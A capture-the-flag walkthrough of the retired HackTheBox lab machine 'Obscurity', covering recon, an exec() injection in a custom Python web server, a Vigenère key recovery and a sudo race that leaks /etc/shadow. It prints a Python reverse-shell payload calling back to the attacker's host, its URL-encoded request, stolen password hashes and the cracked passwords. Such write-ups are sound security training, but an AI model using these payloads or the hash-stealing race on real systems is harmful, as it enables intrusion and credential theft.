HTB: Obscurity

Obscurity card

This is a writeup about a retired HacktheBox machine: Obscurity This box is classified as a medium machine. It was release on December the first 2019 by clubby789. It implies some enumeration and a lot of python.

Getting User

Recon

We start with a nmap scan. Only port 22 (SSH) and port 8080 are open.

# Nmap 7.80 scan initiated Fri Dec  6 04:58:41 2019 as: nmap -sS -p- -oA nmap 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up (0.091s latency).
Not shown: 65531 filtered ports
PORT     STATE  SERVICE
22/tcp   open   ssh
80/tcp   closed http
8080/tcp open   http-proxy
9000/tcp closed cslistener

# Nmap done at Fri Dec  6 05:01:34 2019 -- 1 IP address (1 host up) scanned in 173.56 seconds

We run a service scan on this two ports, the second port is an HTTP server.

# Nmap 7.80 scan initiated Fri Dec  6 05:11:21 2019 as: nmap -sSV -p22,8080-oA service 10.10.10.168
Nmap scan report for 10.10.10.168
Host is up (0.092s latency).

PORT     STATE  SERVICE    VERSION
22/tcp   open   ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8080/tcp open   http-proxy BadHTTPServer
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.80%I=7%D=12/6%Time=5DEA2950%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20Fri,\x2006\x20Dec\x2020
SF:19\x2010:12:29\nServer:\x20BadHTTPServer\nLast-Modified:\x20Fri,\x2006\
SF:x20Dec\x202019\x2010:12:29\nContent-Length:\x204171\nContent-Type:\x20t
SF:ext/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20html>\n<html\x20lang=\"
SF:en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t<title>0bscura</title>\
SF:n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20content=\"IE=Edge\">\n\t<
SF:meta\x20name=\"viewport\"\x20content=\"width=device-width,\x20initial-s
SF:cale=1\">\n\t<meta\x20name=\"keywords\"\x20content=\"\">\n\t<meta\x20na
SF:me=\"description\"\x20content=\"\">\n<!--\x20\nEasy\x20Profile\x20Templ
SF:ate\nhttp://www\.templatemo\.com/tm-467-easy-profile\n-->\n\t<!--\x20st
SF:ylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/boo
SF:tstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/font-a
SF:wesome\.min\.css\">\n\t<link\x20rel=\"stylesheet\"\x20href=\"css/templa
SF:temo-blue\.css\">\n</head>\n<body\x20data-spy=\"scroll\"\x20data-target
SF:=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20section\x20-->\n<!--\n<
SF:div\x20class=\"preloader\">\n\t<div\x20class=\"sk-spinner\x20sk-spinner
SF:-wordpress\">\n")%r(HTTPOptions,10FC,"HTTP/1\.1\x20200\x20OK\nDate:\x20
SF:Fri,\x2006\x20Dec\x202019\x2010:12:30\nServer:\x20BadHTTPServer\nLast-M
SF:odified:\x20Fri,\x2006\x20Dec\x202019\x2010:12:30\nContent-Length:\x204
SF:171\nContent-Type:\x20text/html\nConnection:\x20Closed\n\n<!DOCTYPE\x20
SF:html>\n<html\x20lang=\"en\">\n<head>\n\t<meta\x20charset=\"utf-8\">\n\t
SF:<title>0bscura</title>\n\t<meta\x20http-equiv=\"X-UA-Compatible\"\x20co
SF:ntent=\"IE=Edge\">\n\t<meta\x20name=\"viewport\"\x20content=\"width=dev
SF:ice-width,\x20initial-scale=1\">\n\t<meta\x20name=\"keywords\"\x20conte
SF:nt=\"\">\n\t<meta\x20name=\"description\"\x20content=\"\">\n<!--\x20\nE
SF:asy\x20Profile\x20Template\nhttp://www\.templatemo\.com/tm-467-easy-pro
SF:file\n-->\n\t<!--\x20stylesheet\x20css\x20-->\n\t<link\x20rel=\"stylesh
SF:eet\"\x20href=\"css/bootstrap\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/font-awesome\.min\.css\">\n\t<link\x20rel=\"stylesheet
SF:\"\x20href=\"css/templatemo-blue\.css\">\n</head>\n<body\x20data-spy=\"
SF:scroll\"\x20data-target=\"\.navbar-collapse\">\n\n<!--\x20preloader\x20
SF:section\x20-->\n<!--\n<div\x20class=\"preloader\">\n\t<div\x20class=\"s
SF:k-spinner\x20sk-spinner-wordpress\">\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Dec  6 05:11:35 2019 -- 1 IP address (1 host up) scanned in 13.83 seconds

Web

We take a look at the home page. A few sentences inform us that the web server is a custom one and that its source code is in a python file inside the development directory.

Here at 0bscura, we take a unique approach to security: you can't be hacked if attackers don't know what software you're using!

That's why our motto is 'security through obscurity'; we write all our own software from scratch, even the webserver this is running on! This means that no exploits can possibly exist for it, which means it's totally secure!

Development Server Dev

Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory

We launch a dirb in order to find this secret development directory. But nothing come up.

-----------------
DIRB v2.22
By The Dark Raver
-----------------

OUTPUT_FILE: dirb
START_TIME: Fri Dec  6 05:50:36 2019
URL_BASE: http://10.10.10.168:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://10.10.10.168:8080/ ----
+ http://10.10.10.168:8080/index.html (CODE:200|SIZE:4171)

-----------------
END_TIME: Fri Dec  6 06:06:25 2019
DOWNLOADED: 4612 - FOUND: 1

We know that the folder will contain the SuperSecureServer.py file. We fire up burp and load the following in our intruder.

GET /§§/SuperSecureServer.py HTTP/1.1
Host: 10.10.10.168:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Fri, 06 Dec 2019 14:51:43
Cache-Control: max-age=0

We attack it in sniper mod using the dirb wordlist in /usr/share/dirb/wordlists/common.txt.

We sort the result by response's size and found the develop directory.

burp intruder

We wget the code on our machine.

import socket
import threading
from datetime import datetime
import sys
import os
import mimetypes
import urllib.parse
import subprocess

respTemplate = """HTTP/1.1 {statusNum} {statusCode}
Date: {dateSent}
Server: {server}
Last-Modified: {modified}
Content-Length: {length}
Content-Type: {contentType}
Connection: {connectionType}

{body}
"""
DOC_ROOT = "DocRoot"

CODES = {"200": "OK",
        "304": "NOT MODIFIED",
        "400": "BAD REQUEST", "401": "UNAUTHORIZED", "403": "FORBIDDEN", "404": "NOT FOUND",
        "500": "INTERNAL SERVER ERROR"}

MIMES = {"txt": "text/plain", "css":"text/css", "html":"text/html", "png": "image/png", "jpg":"image/jpg",
        "ttf":"application/octet-stream","otf":"application/octet-stream", "woff":"font/woff", "woff2": "font/woff2",
        "js":"application/javascript","gz":"application/zip", "py":"text/plain", "map": "application/octet-stream"}


class Response:
    def __init__(self, **kwargs):
        self.__dict__.update(kwargs)
        now = datetime.now()
        self.dateSent = self.modified = now.strftime("%a, %d %b %Y %H:%M:%S")
    def stringResponse(self):
        return respTemplate.format(**self.__dict__)

class Request:
    def __init__(self, request):
        self.good = True
        try:
            request = self.parseRequest(request)
            self.method = request["method"]
            self.doc = request["doc"]
            self.vers = request["vers"]
            self.header = request["header"]
            self.body = request["body"]
        except:
            self.good = False

    def parseRequest(self, request):
        req = request.strip("\r").split("\n")
        method,doc,vers = req[0].split(" ")
        header = req[1:-3]
        body = req[-1]
        headerDict = {}
        for param in header:
            pos = param.find(": ")
            key, val = param[:pos], param[pos+2:]
            headerDict.update({key: val})
        return {"method": method, "doc": doc, "vers": vers, "header": headerDict, "body": body}


class Server:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind((self.host, self.port))

    def listen(self):
        self.sock.listen(5)
        while True:
            client, address = self.sock.accept()
            client.settimeout(60)
            threading.Thread(target = self.listenToClient,args = (client,address)).start()

    def listenToClient(self, client, address):
        size = 1024
        while True:
            try:
                data = client.recv(size)
                if data:
                    # Set the response to echo back the recieved data
                    req = Request(data.decode())
                    self.handleRequest(req, client, address)
                    client.shutdown()
                    client.close()
                else:
                    raise error('Client disconnected')
            except:
                client.close()
                return False

    def handleRequest(self, request, conn, address):
        if request.good:
  #            try:
                # print(str(request.method) + " " + str(request.doc), end=' ')
                # print("from {0}".format(address[0]))
  #            except Exception as e:
  #                print(e)
            document = self.serveDoc(request.doc, DOC_ROOT)
            statusNum=document["status"]
        else:
            document = self.serveDoc("/errors/400.html", DOC_ROOT)
            statusNum="400"
        body = document["body"]

        statusCode=CODES[statusNum]
        dateSent = ""
        server = "BadHTTPServer"
        modified = ""
        length = len(body)
        contentType = document["mime"] # Try and identify MIME type from string
        connectionType = "Closed"


        resp = Response(
        statusNum=statusNum, statusCode=statusCode,
        dateSent = dateSent, server = server,
        modified = modified, length = length,
        contentType = contentType, connectionType = connectionType,
        body = body
        )

        data = resp.stringResponse()
        if not data:
            return -1
        conn.send(data.encode())
        return 0

    def serveDoc(self, path, docRoot):
        path = urllib.parse.unquote(path)
        try:
            info = "output = 'Document: {}'" # Keep the output for later debug
            exec(info.format(path)) # This is how you do string formatting, right?
            cwd = os.path.dirname(os.path.realpath(__file__))
            docRoot = os.path.join(cwd, docRoot)
            if path == "/":
                path = "/index.html"
            requested = os.path.join(docRoot, path[1:])
            if os.path.isfile(requested):
                mime = mimetypes.guess_type(requested)
                mime = (mime if mime[0] != None else "text/html")
                mime = MIMES[requested.split(".")[-1]]
                try:
                    with open(requested, "r") as f:
                        data = f.read()
                except:
                    with open(requested, "rb") as f:
                        data = f.read()
                status = "200"
            else:
                errorPage = os.path.join(docRoot, "errors", "404.html")
                mime = "text/html"
                with open(errorPage, "r") as f:
                    data = f.read().format(path)
                status = "404"
        except Exception as e:
            print(e)
            errorPage = os.path.join(docRoot, "errors", "500.html")
            mime = "text/html"
            with open(errorPage, "r") as f:
                data = f.read()
            status = "500"
        return {"body": data, "mime": mime, "status": status}

The script is a bit long but we can see the line exec(info.format(path)) where path is the user input (the path in a GET request). The use of the exec() function is dangerous as exec(os.system(<cmd>)) will execute the command on the system (if os is imported).

Here there is some python before the exec(): info = "output = 'Document: {}'" so we need to "escape" this string. We try a few thing on our system:

>>> path = ''
>>> exec(info.format(path))
>>> path = "test'; print('boom'); 'test"
>>> exec(info.format(path))
boom

So we can insert some payload between the two ;. As the server is running python we will use the python TCP reverse shell

So our payload is: test'; import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.208",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash");'test.

We get a error 400 "Bad request", so we encode our payload with Burp (url encode all characters). The payload look like the following in burp repeater (yes I also encoded the first / which is not part of our payload):

GET %2f%74%65%73%74%27%3b%20%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%22%31%30%2e%31%30%2e%31%34%2e%32%30%38%22%2c%34%34%34%34%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%69%6d%70%6f%72%74%20%70%74%79%3b%20%70%74%79%2e%73%70%61%77%6e%28%22%2f%62%69%6e%2f%62%61%73%68%22%29%3b%27%74%65%73%74 HTTP/1.1

Host: 10.10.10.168:8080

This give us a reverse shell as www-data. We start enumerating the box and found interesting files in the robert home folder.

www-data@obscure:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@obscure:/$ ls /home/
ls /home/
robert
www-data@obscure:/$ ls /home/robert/
ls /home/robert/
BetterSSH  enum     passwordreminder.txt  user.txt
check.txt  out.txt  SuperSecureCrypt.py
www-data@obscure:/$ ls /home/robert/BetterSSH/
ls /home/robert/BetterSSH/
BetterSSH.py

We get the SuperSecureCrypt.py file (I also get the BetterSSH.py file but it will be used later).

import sys
import argparse

def encrypt(text, key):
    keylen = len(key)
    keyPos = 0
    encrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr + ord(keyChr)) % 255)
        encrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return encrypted

def decrypt(text, key):
    keylen = len(key)
    keyPos = 0
    decrypted = ""
    for x in text:
        keyChr = key[keyPos]
        newChr = ord(x)
        newChr = chr((newChr - ord(keyChr)) % 255)
        decrypted += newChr
        keyPos += 1
        keyPos = keyPos % keylen
    return decrypted

parser = argparse.ArgumentParser(description='Encrypt with 0bscura\'s encryption algorithm')

parser.add_argument('-i',
                    metavar='InFile',
                    type=str,
                    help='The file to read',
                    required=False)

parser.add_argument('-o',
                    metavar='OutFile',
                    type=str,
                    help='Where to output the encrypted/decrypted file',
                    required=False)

parser.add_argument('-k',
                    metavar='Key',
                    type=str,
                    help='Key to use',
                    required=False)

parser.add_argument('-d', action='store_true', help='Decrypt mode')

args = parser.parse_args()

banner = "################################\n"
banner+= "#           BEGINNING          #\n"
banner+= "#    SUPER SECURE ENCRYPTOR    #\n"
banner+= "################################\n"
banner += "  ############################\n"
banner += "  #        FILE MODE         #\n"
banner += "  ############################"
print(banner)
if args.o == None or args.k == None or args.i == None:
    print("Missing args")
else:
    if args.d:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Decrypting...")
        decrypted = decrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(decrypted)
    else:
        print("Opening file {0}...".format(args.i))
        with open(args.i, 'r', encoding='UTF-8') as f:
            data = f.read()

        print("Encrypting...")
        encrypted = encrypt(data, args.k)

        print("Writing to {0}...".format(args.o))
        with open(args.o, 'w', encoding='UTF-8') as f:
            f.write(encrypted)

We also get the out.txt, passwordreminder.txt and check.txt files. As the first two contains non printable characters we encode them in base64.

www-data@obscure:/$ base64 /home/robert/out.txt
base64 /home/robert/out.txt
wqbDmsOIw6rDmsOew5jDm8Odw53CicOXw5DDisOfwoXDnsOKw5rDicKSw6bDn8Odw4vCiMOaw5vD
msOqwoHDmcOJw6vCj8Opw5HDksOdw43DkMKFw6rDhsOhw5nDnsOjwpbDksORwojDkMOhw5nCpsOV
w6bDmMKewo/Do8OKw47DjcKBw5/DmsOqw4bCjsOdw6HDpMOowonDjsONw5rCjMOOw6vCgcORw5PD
pMOhw5vDjMOXwonCgXY=
www-data@obscure:/$ base64 /home/robert/passwordreminder.txt
base64 /home/robert/passwordreminder.txt
wrTDkcOIw4zDicOgw5nDgcORw6nCr8K3wr9r
www-data@obscure:/$ cat /home/robert/check.txt
Encrypting this file with your key should result in out.txt, make sure your key is correct!

The script is a simple implementation of the Vigenère cipher. As we got a clear text (check.txt) and a cipher text (out.txt) we can easily get the key by using a simple python3 script.

clair   = open("./check.txt", "r").read()
chiffre = open("./out.txt", "r").read()

i=0
key=''
while i < len(clair):
    key+=(chr((ord(chiffre[i])-ord(clair[i]))%255))
    i+=1

print(key)

Using this script we get the key using to cipher them: alexandrovich.

python3 decrypt.py
alexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichalexandrovichal

Note: Do not do you own crypto! Also, if we didn't had the check.txt and out.txt files the cracking will have been harder. As this was a Vigenère cipher we could have brute force the key or tried so frequency analysis but the passwordreminder.txt file is a bit short for this kind of attack.

Then we use the SuperSecureCrypt.py script to decode the password file with the key and get the password SecThruObsFTW.

python3 SuperSecureCrypt.py -i passwordreminder.txt -k alexandrovich -d -o pass && cat pass
################################
#           BEGINNING          #
#    SUPER SECURE ENCRYPTOR    #
################################
  ############################
  #        FILE MODE         #
  ############################
Opening file pas...
Decrypting...
Writing to pass...
SecThruObsFTW

We can then connect using SSH as robert and get the user flag. :::text ssh robert@10.10.10.168 robert@10.10.10.168's password: robert@obscure:~$ cat user.txt e4493782066b55fe2755708736ada2d7

Getting root

As robert with our SSH shell we start enumerating the box. We have some interesting sudo permissions.

robert@obscure:~$ sudo -l

User robert may run the following commands on obscure:
    (ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py

We get the betterSSH.py file.

import sys
import random, string
import os
import time
import crypt
import traceback
import subprocess

path = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
session = {"user": "", "authenticated": 0}
try:
    session['user'] = input("Enter username: ")
    passW = input("Enter password: ")

    with open('/etc/shadow', 'r') as f:
        data = f.readlines()
    data = [(p.split(":") if "$" in p else None) for p in data]
    passwords = []
    for x in data:
        if not x == None:
            passwords.append(x)

    passwordFile = '\n'.join(['\n'.join(p) for p in passwords])
    with open('/tmp/SSH/'+path, 'w') as f:
        f.write(passwordFile)
    time.sleep(.1)
    salt = ""
    realPass = ""
    for p in passwords:
        if p[0] == session['user']:
            salt, realPass = p[1].split('$')[2:]
            break

    if salt == "":
        print("Invalid user")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    salt = '$6$'+salt+'$'
    realPass = salt + realPass

    hash = crypt.crypt(passW, salt)

    if hash == realPass:
        print("Authed!")
        session['authenticated'] = 1
    else:
        print("Incorrect pass")
        os.remove('/tmp/SSH/'+path)
        sys.exit(0)
    os.remove(os.path.join('/tmp/SSH/',path))
except Exception as e:
    traceback.print_exc()
    sys.exit(0)

if session['authenticated'] == 1:
    while True:
        command = input(session['user'] + "@Obscure$ ")
        cmd = ['sudo', '-u',  session['user']]
        cmd.extend(command.split(" "))
        proc = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE)

        o,e = proc.communicate()
        print('Output: ' + o.decode('ascii'))
        print('Error: '  + e.decode('ascii')) if len(e.decode('ascii')) > 0 else print('')

We reproduce the step locally. The script is copying the password hashes from /etc/shadow into a random temporary file in /tmp/SSH/ then it does "things" with the file but we don't care. We just need to get the content of the file at its creation. We run a infinite loop display the content of every file in the folder and then exit on a success. At the same time we run the BetterSSH.py script with the sudo permission. This allow us to get the root password hash.

robert@obscure:~/BetterSSH$ sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Enter username: root
Enter password: lol
Incorrect pass

robert@obscure:/tmp/SSH$ while true; do cat ./* 2>/dev/null&&exit; done
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7
robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7
logout
Connection to 10.10.10.168 closed.

We load the hash in john with the rockyou dictionary and crack the root password.

john hash -w=~/tools/password_lists/rockyou.txt
mercedes

Then with our SSH account as robert we just su and use the root password to get the root flag.

robert@obscure:~/BetterSSH$ su
Password:
root@obscure:/home/robert/BetterSSH# cat /root/root.txt
512fd4429f33a113a44d5acde23609e3

Wrapping up

This box is a lot of python. And this is quit straight forward once you get the SuperSecureServer.py file.